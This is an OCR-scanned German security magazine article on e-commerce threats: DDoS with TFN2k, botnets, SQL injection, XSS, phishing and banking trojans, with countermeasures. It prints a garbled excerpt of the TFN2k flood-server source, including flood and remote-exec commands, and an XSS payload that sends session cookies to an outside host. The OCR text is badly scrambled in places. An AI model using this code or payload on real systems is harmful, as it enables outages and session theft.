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Gefahrenquellen fur die
Internet-Geschafte

Marko Rogge

Schwierigkeitsgrad
o

einnehmen.

om klassischen Computer-Virus uber
V Datenklau- und -manipulationsmecha-

nismen bis hin zu Server-Lahmlegungen
wartet die dunkle Seite des Internet mit einer gan-
zen Bandbreite von Risiken auf, die insbesondere
bei einer wirtschaftlichen Nutzung eine deutliche
Bedrohung darstellen. Angreifer sind vielfach
nicht mehr nur IT-verliebte Hacker oder Spam-
mer, sondern vielmehr Personen und Organisa-
tionen, die gezielt kriminelle Ziele verfolgen und
Schwachstellen der Infrastruktur und der darin
laufenden Anwendungen zu ihren Zwecken aus-
nutzen. Neben dem monetaren Schaden entsteht
dabei insbesondere bei E-Commerce-Anbietern
ein viel héherer und im schnelllebigen Internet-
Geschéaft oftmals irreparabler Image-Schaden,
den es gilt mit entsprechenden Malinahmen zu
bekdmpfen bzw. von vornherein auszuschlie3en.
Welche unterschiedlichen Gefahrenquellen zu
berticksichtigen sind, soll daher im folgenden
Artikel aufgezeigt werden.
Unterschieden werden dabei drei verschiedene
Gefahrenarten, die an verschiedenen Punkten
im Rahmen der E-Commerce-Transaktion ein-
wirken kénnen: zum einen auf der Anwender-
Seite durch T&uschung, zum anderen durch
eine Manipulation konkreter Transaktionsvor-
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(" Als offene Netzinfrastruktur bietet das Internet neben seinen
Potentialen leider auch viele Gefahren, die mit der wachsenden
Akzeptanz und Nutzung der Infrastruktur und seiner dartuiber
abgewickelten Kommunikations- und Interaktionsvorgange
eine fur die Gesamtentwicklung ernst zu nehmende Bedeutung

gange und letztendlich durch den Angriff und
die Ausschaltung ganzer Server und E-Com-
merce-Angebote.

Angriff und Ausschaltung der
E-Commerce-Anwendung

Der Angriff auf die E-Commerce-Infrastrukutr
und die darin laufenden Anwendungen ist wohl

p
In diesem Artikel erfahren
Sie...

* Welche Gefahren drohen in Onlineshops fir
Betreiber und fir Kunden;
Angriffsszenarien im Detail vorgestellt;
Fallbeispiel;
Schutzmallnahmen.

Was Sie vorher wissen/konnen
sollten...

+  Grundlagen Webserver und Applikationen;

* XSS, SQL und PHP Kenntnisse;
Grundlagen Internetshops;
Wissen uber Phishing, DDoS, Man-in-the-
Middle.
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das alteste Problem, mit dem Inter-
net-Anbieter zu kdmpfen haben. Zu
unterscheiden sind hierbei die Uber-
nahme und kontrollierte Steuerung
von Systemen mit Hilfe von Com-
puter-Viren wie z.B. Win32/Sasser
und die Angriffe auf Systeme durch
nicht zu verarbeitende Anfragen auf
die System mit dem Ziel der Lahmle-
gung der Systeme durch Auslastung
der Rechnerkapazitaten.

DDoS Angriffe

Diese Art von Angriffen (Distribut-
ed Denial of Service, DDoS) ist
aufgrund der Verteilung von Rech-
nerkapazitdten sehr gefahrlich. Ein
Urheber ist schwer zu ermitteln, da
diese meistens ein ganzes Botnet
betreiben und steuern, und sich tGber
Proxyserver verstecken.

Eines der machtigsten und be-
kanntesten Programme, um DDoS-
Attacken erfolgreich auszufiihren ist
TFN2k, Tribe Flood Network 2000.

Es gibt mehrere Arten von
Angriffen, die koordiniert werden
kénnen, darunter UDP (Bandbreiten-
Uberlastung durch UDP-Pakete, und
ICMP-Fehlermeldungen, die vom
Angriffsziel generiert werden, wenn
ein UDP-Paket auf einen geschlos-
senen Port trifft), durch ICMP-Pake-
te (Ping-Anfragen die entsprechend
Ping-Antworten generieren), sowie
TCP/SYN-Angriffe (permanente

Anfragen von zufdlligen Quell-
addressen, neue TCP-Verbindungen
aufzubauen, was nicht nur die Band-
breite, sondern auch die Resourcen
von Serverprogrammen, etwa eines
Apache Webservers, sowie von Be-
triebssystemen Uberlastet).

Darliber hinaus bietet TFN2k die
verteilte Targa3-Attacke. Hierbei
handelt es sich um Pakete, die mit
zufalligen Werten erstellt werden. Es
kann sich also um UDP, ICMP, IGMP,
TCP, oder andere Protokolle handeln,
um Fragmente, oder nach den Proto-
kollstandards véllig ungultige Pakete.

Dies stellt eine Herausforderung
fur die Implementation des Netz-
werksubsystems vieler Betriebssys-
teme dar, die nicht alle Sonderfalle
von ungultigen Datenpaketen ohne
weiteres verarbeiten kénnen.

Zu den weiteren Features von
TFN2k zahlen Decoy-Pakete, also
Dummies, die zusatzlich zu den
echten verschickt werden konnen,
um eine Entdeckung des Traffics
zusatzlich zu erschweren. TFN2k
ist dariber hinaus Multi-Plattform-
fahig, lauft also auf den meisten
gangigen Betriebssystemen. Das
bedeutet, es ware moglich, DDoS-
Server auf Linux, Solaris, BSD
und Windows NT Systemen zu
installieren, und Angriffe von all
diesen Systemen gleichzeitig zu
koordinieren.

DDoS Programme
Packetstrom Security

*  http://packetstormsecurity.org/distributed/— DDoS Programme

»  http://www.brain-pro.de/Seiten/ddos/ddos.htm — TFN2k im Detail

»  http.://staff.washington.edu/dittrich/misc/tfn.analysis — David Dittrich
«  http://www.heise.de/tp/rd/artikel/5/5766/1.html — Hintergrund

N

Botnets

Botnets sind Netzwerke von mehreren tausend und mehr Computern die fernsteuerbar
sind und gezielt fir Spam oder DdoS Angriffe benutzt werden kénnen. So genannte
Bots werden auf Computern die ungeschiitzt sind Gber andere Schadlinge einge-
schleust und kdnnen dann von einem Botnet Betreiber gesteuert werden. Hierbei wird
immer mehr darauf geachtet, da® man diese Botnets so sicher wie mdglich und un-
sichtbar aufbaut. Diese kdnnen dann je Stunde oder je Angriff gemietet werden und so
nutzen Cyberkriminelle Botnets um Schutzgelderpressungen durchzufihren. Details

dazu in einer Studie von McAfee:

http://www.harvardpr.com/home/article_details.asp?id=7225

AbwehrmaRBnahmen
Erfolgreiche Abwehrmaflinahmen
konnen nur direkt beim Provider
getroffen mittels starken Firewalls
und Loadbalancern werden. Fire-
walls erkennen in der heutigen Zeit
bereits recht friih, wenn sich eine
DDoS Attacke ankiindigt und kénnen
die Kommunikation unterbinden. Von
Erfolg ist dies nicht immer gekrént,
da im Nachgang das System dann
nicht mehr erreicht werden kann.
Diese Vorgehensweise ist aber nicht
im Interesse eines Diensteanbieters,
und so kann man versuchen, Uber
einen Lastenausgleich (Loadbalan-
cern) einer DDoS Attacke entgegen
zu wirken. Bei der Auswahl eines
Providers, wo der Server steht, sollte
auf solche Sicherheitsmallnahmen
geachtet werden.

Angriff auf den
Datenaustausch und die
Transaktion

Ist ein Server erst einmal in der Hand
eines Angreifers, sind naturlicher-
weise auch die Anwendungen und
die darin ablaufenden Transaktionen
mit dem Kunden nicht mehr sicher.
Darliber hinaus bieten aber auch
viele Anwendungen bereits eigene
Schwachstellen, die von Angreifern
ohne direktes Eindringen und Aus-
fuhren von Programmen mit Hilfe
von Viren oder anderen Zugriffsme-
thoden ausgenutzt werden koénnen.
Hierzu zahlen vor allem die im fol-
genden erlduterten SQL Injection
Bugs und das Cross-Site-Scripting
(XSS).

Angriff durch SQL
Injection Bugs

Unter  Serverseitigen  Angriffen
versteht man das Ausnutzen von
Schwachstellen der Software in
Shopsystemen etc. Hierbei kann
es in PHP, SQL oder direkt in den
Serverbetriebssystemen zu Angrif-
fen kommen, wenn Software nicht
auf dem aktuellsten und sichersten
Stand ist.

In sehr vielen Féllen ist es mdg-
lich, durch Schwachstellen in Da-
tenbanken via SQL direkt auf diese
Zugriff zu erhalten.
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Listing 1. Serverprogramm von TFN2k

/*

*

Tribe FloodNet - 2k edition

*

by Mixter <mixter@newyorkoffice.com>

* td.c - tribe flood server

signal (SIGHUP, SIG_IGN);
signal (SIGTERM, SIG_IGN);
signal (SIGCHLD, SIG_IGN);

*

*

*

*

*

*

#i

ex

ex

ex

VO.

in

ma

[
1

#i

#e

#e

k

This program is distributed for educational purposes
and without any

explicit or implicit warranty,; in no event shall the
author or

contributors be liable for any direct, indirect or
incidental damages

arising in any way out of the use of this software.

/

nclude "tribe.h"

tern int fw00ding, nospoof, portédsyn, psize;
tern unsigned long myip;

tern void security through_obscurity (int);

id tribe cmd (char, char *, char **);

t

in (int argc, char **argv)

char buf[BS], clear[BS];

struct ip *iph = (struct ip *) buf;

struct tribe *tribeh = (struct tribe *) clear;

int isock, tsock, usock, i;

char *p = NULL, *data = (clear + sizeof (struct
tribe));

fd_set rfds;

isock = socket (AF_INET, SOCK_RAW, ICMP);
tsock = socket (AF INET, SOCK RAW, TCP);
usock = socket (AF_INET, SOCK_RAW, UDP);

if (geteuid ())
exit (-1);

memset (argv[0], 0, strlen (argv[0]));
strcpy (argv[0], HIDEME);

close (0);
close (1);
close (2);
fndef WINDOZE
if (fork ())

exit (0);
lse

switch (fork ())

{
1

case -1:
perror ("fork");
exit (0);
break;

case 0:
break;

default:
break;

}

ndif

while (1)

FD ZERO (&rfds);

FD SET (isock, &rfds);

FD_SET (usock, &rfds);

FD _SET (tsock, &rfds);

if (select (usock + 1, &rfds, NULL, NULL, NULL)
< 1)

continue;

if (FD_ISSET (isock, &rfds)

i = read (isock, buf, BS) - (sizeof (struct ip) +
sizeof (struct icmp));

myip = htonl (iph->dst);

if (1 < 4)
continue;
p = (buf + sizeof (struct ip) + sizeof (struct

icmp));
if (!isprint (p[0]))
continue;
memset (clear, 0, BS);
security through obscurity (1);
decodeb4 (p, clear, i);
memset (buf, 0, BS);
security through obscurity (0);
if ((tribeh->start == PROTO_SEP) && (tribeh->end ==
PROTO SEP))
tribe cmd (tribeh->id, data, argv);

if (FD_ISSET (tsock, &rfds)
i = read (tsock, buf, BS) - (sizeof (struct ip) +

sizeof (struct tcp));
myip = htonl (iph->dst);

if (1 < 4)
continue;
p = (buf + sizeof (struct ip) + sizeof (struct

tep) )i
if (!isprint (p[0]))
continue;
memset (clear, 0, BS);
security through obscurity (1);
decode64 (p, clear, i);
memset (buf, 0, BS);
security through obscurity (0);
if ((tribeh->start == PROTO_SEP) && (tribeh->end ==
PROTO_SEP))
tribe cmd (tribeh->id, data, argv);

if (FD_ISSET (usock, &rfds)
i = read (usock, buf, BS) - (sizeof (struct ip) +

sizeof (struct udp));
myip = htonl (iph->dst);

if (1 < 4)
continue;
p = (buf + sizeof (struct ip) + sizeof (struct

udp) ) ;
if (!isprint (p[0]))
continue;

D
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memset (clear, 0, BS);
security through obscurity (1);
decode64 (p, clear, 1i);
memset (buf, 0, BS);
security through obscurity (0);
if ((tribeh->start == PROTO_SEP) && (tribeh->end ==
PROTO_SEP)
tribe cmd (tribeh->id, data, argv);
}

} break;
/* 1 1=1 */ case ID PSIZE:
return (0); psize = atoi (target);
} break;
case ID SWITCH:
void switch (atoi (target)
tribe cmd (char id, char *target, char **argp) {
{ case 0:
#ifdef ATTACKLOG nospoof = 0; /* spoof mask:
{ break;
char tmp[BS]; case 1:
sprintf (tmp, "PID %d CMD '$c' TARGET %s\n" nospoof = 1; /* spoof mask:
,getpid (), 1id, target); break;
dbug (tmp) ; case 2:
} nospoof = 2; /* spoof mask:
#endif break;
case 3:
switch (id) nospoof = 3; /* spoof mask:
{ */
case ID_ICMP: break;
if (fw00ding) /* already in progress, ignored default:
*/ break;
break; }
fw00ding = 3; /* commencing ICMP/8 flood */ break;

strcpy (argp[0], HIDEKIDS);
commence_icmp (target) ;
strcpy (argp[0], HIDEME);
break;
case ID_SMURF:
if (fw00ding) /* already in progress, ignored
*/
break;
fw00ding = 4; /* commencing SMURF broadcast
flood */
strepy (argpl0], HIDEKIDS);
commence_smurf (target);
strcpy (argp[0], HIDEME);
break;
case ID_SENDUDP:

meaning */
break;
must_kill _all ();
terminating */
usleep (100);
fw00ding = 0;
break;
case ID_SYNPORT:
portdsyn = atoi (target);

case ID SHELL:
shellsex (atoi (target));
target port */
break;
case ID TARGA:
if (fw00ding)
*/
break;
fw00ding = 4;
strcpy (argp(0], HIDEKIDS);
commence_targa3 (target);
strcpy (argp[0], HIDEME);
break;
case ID MIX:
if (fw00ding)

if (fw00ding) /* already in progress, ignored */
*/ break;
break; fw00ding = 5;
fw00ding = 1; /* commencing UDP flood */ strcpy (argp[0], HIDEKIDS);

strepy (argpl0], HIDEKIDS);
commence_udp (target);
strepy (argp[0], HIDEME);
break;

case ID_SENDSYN:

commence mix (target);
strepy (argp[0], HIDEME);
break;

case ID REXEC:
system (target);

if (fw00ding) /* already in progress, ignored break;

*/ default:

break; break;
fw00ding = 2; /* commencing SYN flood */

strepy (argpl0], HIDEKIDS);
commence_syn (target, portédsyn);
strepy (argp[0], HIDEME);
break;

case ID_STOPIT:

if (!fw00ding) /* this has no longer a

/* all flood childs

/* syn port set */

/* new packet size */

/* shell bound to

/* already in progress, ignored

/* commencing targa3 attack */

/* already in progress, ignored

/* commencing interval flood */

Kok K K K/

real.*. * * */

real.real.*.* */

real.real.real.*

www.hakin9.org/de
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Alle hier abgelegten Daten von
Kunden und Produkten etc. sind so-
mit frei verfligbar.

Ein Angreifer hatte so die Mdg-
lichkeit, die gesammelten Daten an
einen Wettbewerber zu verkaufen.

Diese Art ist nicht unbekannt und
wird oftmals verheimlicht; Betroffene
melden solche Zwischenfélle aus
Scham zu selten den Behdrden.

SQL Injektion Bugs ist eine der
Méoglichkeiten, Daten einzuschleusen,
Daten zu verandern oder Adminis-
trator-Rechte auf einem Server zu
erhalten. Folge ware, dass ein Angrei-
fer zum einen die Daten manipuliere,
und den Server fur weitere Angriffe
milbrauchen kann. In der Regel treten
SQL Injektions dann auf, wenn die
Parameter, die von einem Benutzer
angegeben werden, nicht gesondert
geprift und so an die Datenbank
weiter gereicht werden. Es sollte bei
Datensatzen in der Eingabe immer
darauf geachtet werden, dass diese
auch den richtigen Datentypen ent-
sprechen. Beispielsweise dirfen Zah-
len nur aus echten Ziffern bestehen
und dem Dezimaltrennzeichen. Stored
Procedures sind hier eine Mdglichkeit
auf Sicherheit zu setzen.

Sind Stored Procedures die ein-
zige Methode — kann ich das nicht
auch durch Uberprifung der IN-
SERT-Statements abfangen???

Die Benutzereingaben in einem
Programm werden dabei in so ge-
nannte Stored Procedures tUbergeben.
Erst dort wird dann die tatsachliche
SQL-Abfrage durchgefihrt, wodurch
ein Zufligen weiterer Abfragen oder
Codes nicht mdglich ist.

Vorsicht ist jedoch bei Microsoft
SQL-Servern geboten. Bei einigen
dieser Server werden Stored Pro-
cedures mitgeliefert, die es ermogli-
chen Uber eine Shell einen weiteren
Benutzer in der Datenbank anzule-
gen, und so Zugriff auf den Server
zu erlangen.

Eine weitere SchutzmalRnahme
die gegen SQL Angriffe wirksam ist
kann direkt in PHP integriert werden
und eine Angriffsflache wird nicht ge-
boten. In PHP kann man das mit der
Funktion mysql_escape_string erledi-
gen. Wichtig hierbei ist dann, daR alle
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die notwendig ist.

-

Sicherheit beim Onlineshopping

Ein sehr renommiertes Zahlsystem, welches sich auf sehr vielen Webseiten wieder
findet, ist Click&Buy (TM) von FIRSTGATE. Hiermit lassen sich kostenpflichtige
Premiumdienste oder Downloads von kleinen bis grofRen Betragen direkt buchen.
FIRSTGATE arbeitet mit Servern in einem Hochsicherheitsrechenzentrum, bietet volle
SSL-Verschlisselung der Daten vom und zum Kunden an, und ist dartiber hinaus mit
dem Zertifikat BSI-GSZ-0019-2005 vom BSI (Bundesamt fir Sicherheit in der Infor-
mationstechnologie) geprift worden. Ein sehr wesentlicher Punkt, der sich auf den
Webseiten der FIRSTGATE AG wiederfinden lasst, ist der Bereich Datenschutz. Unter
anderem wird sehr deutlich und klar erklart, welche Funktionen Cookies haben, wie
diese verwendet werden, und was in diesem Zusammenhang Datenschutz fir den
Kunden bedeutet. Somit ist dieses Unternehmen ein Beispiel fir viele weitere, die fol-
gen werden, um Kunden und Anbietern genau die Grundlage der Sicherheit zu bieten,

Parameter die aus einer Anwendung
kommen und in den Querystring ge-
hen damit escapet werden missen.

Eine weitere Schwachstelle in
diesem Zusammenhang besteht in
den CGlI-Skripten, die unsicher oder
unsauber programmiert wurden.
Hier besteht die Moglichkeit, mehr
Ausgabetext zu erhalten, als das
Skript eigentlich bei der Ubergabe
von Daten an den Server ausgeben
soll. Ein Angreifer kann sich somit
ebenfalls des Servers beméchtigen
und hat vollen Zugriff darauf. Eine
weitere Form beliebter serverseitiger
Angriffe ist unter dem Begriff Cross-
Site Scripting (XSS) bekannt.

Hierbei wird versucht, Code
auf einen Server zu schleusen und
diesen ausfiihrbar zu machen. In
Verbindung mit SQL Injektion eine
sehr geféhrliche Kombination.

Gerade in PHP finden sich oft-
mals Md&glichkeiten, Codes direkt auf
dem Server Uber Befehle wie include
auszufuhren, wenn diese nicht gesi-
chert behandelt werden.

Werden z.B. Steuerzeichen wie
<> und Tags <script> vor der Aus-
gabe an den Browser nicht in HTML
umgewandelt, wirde der Browser es
als Java Skript interpretieren.

Es ware also moglich, hier ein Ja-
va Skript hinzu zu fligen, den Sessi-
on Cookie auszulesen und an einen
fremden Rechner zu senden.

(( Marko Rogge <script>(new Image)
.src=""http://www.marko-rogge.de/
s/c.php?c=""+escape

(document.cookie) ;</script>)).

www.hakin9.org/de

Dem Besucher der Webseite wird nun
der Name Marko Rogge angezeigt
und sein eigener Session Cookie an
einen fremden Rechner geschickt.
Generell empfiehlt es sich, zum
sicheren Browsen fir Kunden das
aktive Java Skript zu deaktivieren.

Angriff auf den E-
Commerce-Kunden

Auch wenn die Computer-Systeme
des Kunden nicht im Verfligungsbe-
reich des Anbieters liegen, so sollten
doch die Angriffe mit Bezug auf das
Kundenverhaltnis zum Anbieter vom
Anbieter bedacht und berticksichtigt
werden.

Eine der gréten Gefahren stellt
derzeit das so genannte Phishing
dar, welches nicht nur im reinen Ban-
kenumfeld zu finden ist.

Waéhrend das US-Marktforschung-
sunternehmen Gartner schatzt, dass
durch Phishing allein in den USA im
Jahre 2005 ein Schaden von rund 2,75
Milliarden Dollar verursacht wurde,
meldet die Financial Times Deutsch-
land, dass deutsche Banken durch
Phishing-Angriffe im letzten Jahr rund
70 Millionen Euro verloren haben.

Seit Mitte 2005 beobachtet die
Polizei in Baden-Wiirtemberg einen
sprunghaften Anstieg von Phishing-
Fallen. Wurden im Jahre 2004 nur
wenige Einzelfalle registriert, wurden
bis Ende 2005 bereits 270 Falle mit
einem Gesamtschaden von rund
1,3 Millionen Euro angezeigt. Die
Berliner Polizei berichtet Gber Falle,
in denen Einzelschaden von bis zu
29.000 Euro entstanden sind.
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Sichere CGI Programmierung
Sichere CGI Programmierung, eine Abhandlung von Martin-J. Muench:

*  http://www.brain-pro.de/Seiten/4.htm
*  http://www.codito.de

XSS Hacks

Eine Ansammlung von Fehlern und Schwachstellen von Cross-Site Scripting finden
Sie auf der Webseite http.//ha.ckers.org/xss.htmi.

Weitere Quelle: http://observed.de

J

Bekanntlich kommen oft genug
falsche Meldungen und E-Mails
von Ebay, in denen man aufgefor-
dert wird, die Kontodaten und/oder
Zugangsdaten preiszugeben. Aber
nicht nur Ebay wird es schwer ge-
macht, sich am Markt durch solche
Meldungen zu behaupten, denn lang-
fristig stellt sich bei einigen Usern die
Vertrauensfrage und fir Ebay eine
Imagefrage.

Vergleichbare Ansatze zum Erha-
schen von Passwortern finden sich in
diversen Trojanischen Pferden, die
speziell dafiir programmiert sind.

So versuchen gefalschte Tele-
komrechnungen Usern einen Trojaner
(Trojanisches Pferd) unterzujubeln
und veranlassen den User dazu, die-
sen zu starten.

Dies geschieht fast unbemerkt
mit dem Klicken auf eine vermeint-
liche Onlinerechnung, die sich aber
dann als ein Trojaner entpuppt.

Zugangsdaten und Kundeninfor-
mationen sollen damit dann illegal
erworben werden und kdénnten so
Ausnutzung finden.

Man-In-The-Middle
Angriffe auf den
Kunden
Wie durch den Namen zu vermuten
ist gelangt hier ein Angreifer mittels
einer Schadsoftware direkt in die
Kommunikation zwischen

Hierbei gibt es derzeit aktuell
ernstzunehmende Entwicklungen von
Schadsoftware wie Wirmer und Tro-
janer die so viele Funktionen haben
das selbst die Anti-Virus Hersteller
kaum mit den Updates und Signatu-
ren nachkommen.

Neuartige Trojaner verstehen
sich unter Windows Systemen un-
sichtbar zu machen und die eigenen
Prozesse zu verstecken (rootkits).

Diese Trojaner Ubermitteln dann
Daten die gesammelt oder vom An-
wender eingegeben werden direkt
an einen Angreifer der die Schad-
software steuern kann.

Diese Trojaner beherrschen
ebenfalls die Mdglichkeit Uber eine
Schwachstelle im Internet Explorer
die Verbindung zum echten Bank-
server zu unterbinden wahrend der
Kunde die Uberweisung eingibt.

Die echte Uberweisung gelangt
Uber eine Umleitung dann auf ein
anderes Konto und der Betroffene
merkt hier den Betrug erst nach
Abschluf der Uberweisung mit einer
Fehlermeldung im Internet Explorer.

Bekannt fur ein solches Verhal-
ten ist unter anderem der Trojaner
TR/small.az3. Aktuell werden solche
Schéadlinge Uber Phishingmails oder
manipulierte Webserver in ein Sys-
tem eingeschleust.

Dieses Mandver gelingt den An-
greifern haufig Uber bereits erwahnte
Schwachstellen im Internet Explorer
die ungepatcht sind bislang.

Ein Angriff dieser Form und Art ist
immer sehr gefahrlich da die Trojaner
immer ausgefeilter programmiert
werden und Funktionen besitzen sich
mehrfach in das System zu schrei-
ben und dadurch noch schwerer zu
entdecken.

Derzeit arbeiten Sicherheitsex-
perten auf der ganzen Welt daran,
entsprechende Sicherheitslésungen
zu entwickeln die auch diese Art der
Angriffe zuverlassig abwehren kann.

www.hakin9.org/de

Einen Fall méchten wir lhnen im De-
tail nicht vorenthalten, der deutlich
die steigenden Gefahren von Phis-
hing aufzeigt:

Anfang Dezember 2005 fielen
Tino Fritzsch, Softwareentwickler
des SaferSurf-Labors der Leipzi-
ger Firma Nutzwerk, E-Mails des
Auktionshauses auf. Wir entwickeln
gerade einen Phishing-Filter. Eine
friihe Version dieses Filters hat
die fraglichen E-Mails abgefangen,
erklart Fritzsch. Im Text der Nach-
richten schien ein Ebay-Benutzer
Fragen zu einem angebotenen Ar-
tikel zu haben und stellte diese auf
Englisch.

Ein Blick in den Quellcode der
HTML-E-Mail brachte rasche Erkennt-
nis. Der Link, den man anklicken sollte,
flihrte nicht etwa zu den Ebay-Seiten,
sondern auf sunpowercom.net, be-
richtet der Informatiker. Erstaunlich
war die Qualitat der Mails. Sie waren
auf den ersten Blick nicht als Fél-
schungen erkenntlich, berichtet er.
Kein Wunder — die Betrliger rufen in
der E-Mail Bilddateien von Ebay ab.
So imitieren sie nahezu unbemerkt
und in Echtzeit das Design des Auk-
tionshauses. Auch der aufgerufene
Link war bis auf die Domain, auf die er
zeigte, gut imitiert.

Wer darauf klickte, landete also
auf dem Server sunpowercom.net
und damit in Korea, wie die WHOIS-
Abfrage erbrachte. Der zugehérige
Adressbereich wird ebenfalls in
Korea, genauer gesagt in Seoul,
verwaltet. Mittlerweile ist die Phis-
hing-Seite, auf die der Antwor-
ten-Link flhrte, nicht mehr aktiv.
Uberhaupt scheint die gesamte Web-
site sunpowercom.net von Fehlern
und toten Links zu strotzen. Ob das
beabsichtigt ist, kann nicht gesagt
werden.

Interessanter ist auch der Ver-
breitungsweg der Mail. Aus der
Kopfzeile received wird der Server
cpanel.cygnusnet.com  ersichtlich.
Die geparkte Domain gehort der Fir-
ma Cygnus Design aus San Diego,
Californien. Administrativer Kontakt
ist Steve Aitchison aus Bellingham,
Washington.
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Fur Einsteiger

Die Kopfzeile @ X-Source-Dir
der Mail zeigt auf ein Mail-Script
auf pharmacongress.com. Diese
Website enthalt Informationen Uber
einen Pharmaziekongress. Interes-
sant hier: Die Website scheint von
Cygnus Design, den Inhabern der
Domain cygnusnet.com erstellt und
registriert zu sein.

Als technischer Ansprechpartner
taucht wiederum Steve Aitchison
aus Washington auf. Tino Fritzsch
von Nutzwerk vermutet anhand
dieser Indizien, dass der Server
pharmacongress.com missbrauch-
lich fir den Versand der Ebay-
Phishing-Mails verwendet wurde.
Méglich wird so etwas, wenn Pass-
wérter flir Accounts gestohlen oder
geknackt wurden, erklart er.

Nutzwerk hat die Administ-
ratoren der Website vorsorglich
informiert. Spamversender, Phis-
hingmailsender und Internetbetriiger
werden offenbar immer geschickter.
Nicht nur, dass die vermeintlichen
Ebay-Mails immer echter aussehen,
auch versuchen die Urheber immer
mehr, ihre Spuren zu verwischen.
Den wirklichen Hintermannern auf
die Schliche zu kommen, scheint
aussichtslos.

Es macht sich mehr und mehr
das Gefihl breit, dass teilweise
organisiert krimineller Handel mit
Passwoértern und Zugangsdaten
aus Shops und Banken betrieben
wird.

Somit ist es besonders in der
heutigen Zeit sehr wichtig geworden,
besonnen mit dem Thema Sicherheit
umzugehen.

Sicherheitsansatze
Grundsatzlich ist es empfehlenswert,
E-Mails mit solchen Inhalten nicht zu
6ffnen um méglicherweise Opfer von
Attacken via Phishing oder Compu-
terwirmern zu werden.

Kunden sollten auf einer Infor-
mationsseite aktuelle Sicherheits-
hinweise erhalten, und es sollte
Kunden und Besuchern der Seite
oder des Internetshops erklart wer-
den, in welchem Umfang und wel-
che Art von E-Mails an ihn zugestellt
werden.

hakin9 Nr. 2/2008

Sehr gute Anti-Spam-Software
erkennt auch anhand einfacher
Codeschnipsel in E-Mails, ob es
sich hierbei um eine Spam und/oder
Phishing E-Mail handelt.

Anti-Spam-Lésungen wie Spa-
massassin sind trainierbar und
lernen selbstéandig, einmal als Spam/
Phishing markierte E-Mails dann so-
fort und dauerhaft auszufiltern. (http:
//spamassassin.org/index.html)

So gelangt beim Kunden dann
nur die E-Mail im Postfach, die auch
tatsachlich als echte E-Mail identifi-
ziert wurde.

Man kann Hinweise geben, wie
mit E-Mails von unbekannten Absen-
dern umzugehen ist.

Zum einen kann man hier aus-
grenzen, wenn man den Namen und
Betreff nicht zuordnen kann.

Kunden ist es ratsam zu emp-
fehlen sich mit der integrierten
WindowsXP SP2 Firewall zu be-
schaftigen und diese auch zu akti-
vieren.

Infos dazu finden Sie auf der
Security Seite von Microsoft, siehe
Kasten weitere Gefahren.

Wer kein Microsoft Windows XP
SP2 (Service Pack 2) besitzt soll-
te sich Uber eine Softwarefirewall
oder auch Desktopfirewall genannt
Gedanken machen und diese zum
Einsatz kommen lassen.

Sicherlich bieten Softwarefirewalls
keinen effektiven 100% Schutz, kon-
nen aber auf Verbindungen in das In-
ternet achten und sind konfigurierbar.

Eine Anti-Virus Software die sich
taglich mehrfach aktualisiert ist ge-
gen Schadlinge empfehlenswert und
sollte gepflegt werden mit automati-
schen Updates.

Weiterhin  kann man Kunden
empfehlen, auf Spam- oder Phis-
hing-E-Mails nicht zu antworten, da
man sonst den Absendern die Echt-
heit der E-Mail Adresse bestatigt.

Bei entsprechenden Transaktio-
nen unterscheidet man grundlegend
zwischen dem Macro- und Micropa-
ymentsystemen.

Im Falle von kleinen Betragen bis
zu 5,- Euro spricht man von Micropa-
yment, entsprechend bei Betragen,
die darliber hinaus gehen, von Macro-
payment. Beim Micropayment nutzt
der Kunde in der Regel das Inkasso-
verfahren oder Abrechnung per Tele-
fonrechnung oder gar per Bankeinzug.
Das ist bei kleinen Betragen sinnvoll,
6konomisch und zugleich auch aus-
reichend sicher. Probleme mit der
Sicherheit treten hier bei der Angabe
von personlichen Daten wie Kreditkar-
tendaten, Name, Anschrift etc. Auf.

Die Ubertragung der Daten er-
folgt zumeist noch unverschlisselt
und es ist nicht nachvollziehbar,
wohin die Daten transportiert
und/oder abgelegt werden. Auch
hier sollte man zukunftssicher die
Kunden genau darlber aufklaren,
was mit deren Daten passiert. Es
gibt unterschiedliche Verfahren fur
eine Transaktion, die entsprechen-
de Vor- und Nachteile haben.

-

(WAWI = Warenwirtschaftsystem)

neuster Sicherheitsaspekte durchfiihrt.

Sicherheit aus der Sicht eines e-Shop Betreibers

In einem Gesprach mit Hannes Martin, EDV Leiter der M24 GmbH (moebel-24.de)
stellte sich schnell heraus, dal® gerade Unternehmen die sich auf e-Commerce spezi-
alisiert haben auch einen gesteigerten Wert auf Sicherheit legen.

Herr Martin dazu: Wichtig ist uns, dal3 die Dateniibertragung wérend des ge-
samten Bestellvorgangs SSL-Verschliisselt wird und es werden zudem keine Kun-
denkontos mit Logindaten gefiihrt. Lediglich fiir eine Bestellung werden relevante
Informationen per SSL tbermittelt und dann im internen WAWI-System gepfilegt.

Martin betonte, dall der verwendete Shop von Trusted Shops zertifiziert und
gekennzeichnet ist und im Shop unmittelbar auf die Einhaltung der Datenschutzbe-
stimmungen durch die M24 GmbH hingewiesen. Da sich immer mehr Unternehmen
zukunftsorientiert auf e-Commerce einstellen geht die M24 GmbH gezielt im Interesse
ihrer Kunden darauf ein, welcher seridse Provider die aktuellen Sicherheits-Techniken
und Software einsetzt. M24 GmbH achtet genau darauf, daf} der Provider ebenfalls
eine regelmagige Aktuallisierung der eingesetzten Shopsoftware unter Beachtung
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Gefahrenquellen flur die Internet-Geschafte

Fazit und Ausblick
Botnetze sind eine derzeit sehr erns-
te Bedrohung und nehmen immer
mehr zu.

Hierbei handelt es sich um ein
Netzwerk aus tausenden Compu-
tern die mittels eines Angreifers
kontrolliert werden um dann gezielte
Angriffe gegen Webserver durchzu-
fuhren.

Vornehmlich werden dafir Win-
dows Computer verwendet, die
Uber einen Computerwurm infiziert
einfach zu steuern sind und der Be-
troffene Anwender merkt nicht das er
Teil eines grof3en Botnetzes ist.

Wie schon am Beispiel des
Wettblros (Angriff auf Wettblros
im Jahr 2005 wahrend der Fufibal-
leuropameisterschafft) aufgezeigt
werden dann gezielt Angriffe auf
Server durchgefuhrt die Dienst-
leistungen  anbieten.  Derartige
Bedrohungen abzuwenden ist zum
groRen Teil natirlich Aufgabe der
Benutzer, Anwender aber auch der
Diensteanbieter im Internet. L6sung
kann hierbei ein erhétes Mal an Si-
cherheit sein, indem entsprechende
SicherheitsmalRnahmen  ergriffen
werden.

Hierzu zahlen nattrlich Firewalls,
Virenschutzlésungen aber auch
Intrusion Detection und Intrusion
Prevention.

Es zeigt sich also nicht nur bei
Dienstleistern ab, dal3 mehr fir die
Sicherheit getan werden muR weil
sich das Internet rasant ausbreitet
und immer effektiver Dienstleistun-
gen angeboten werden kdénnen.

Bei der Uberlegung nach
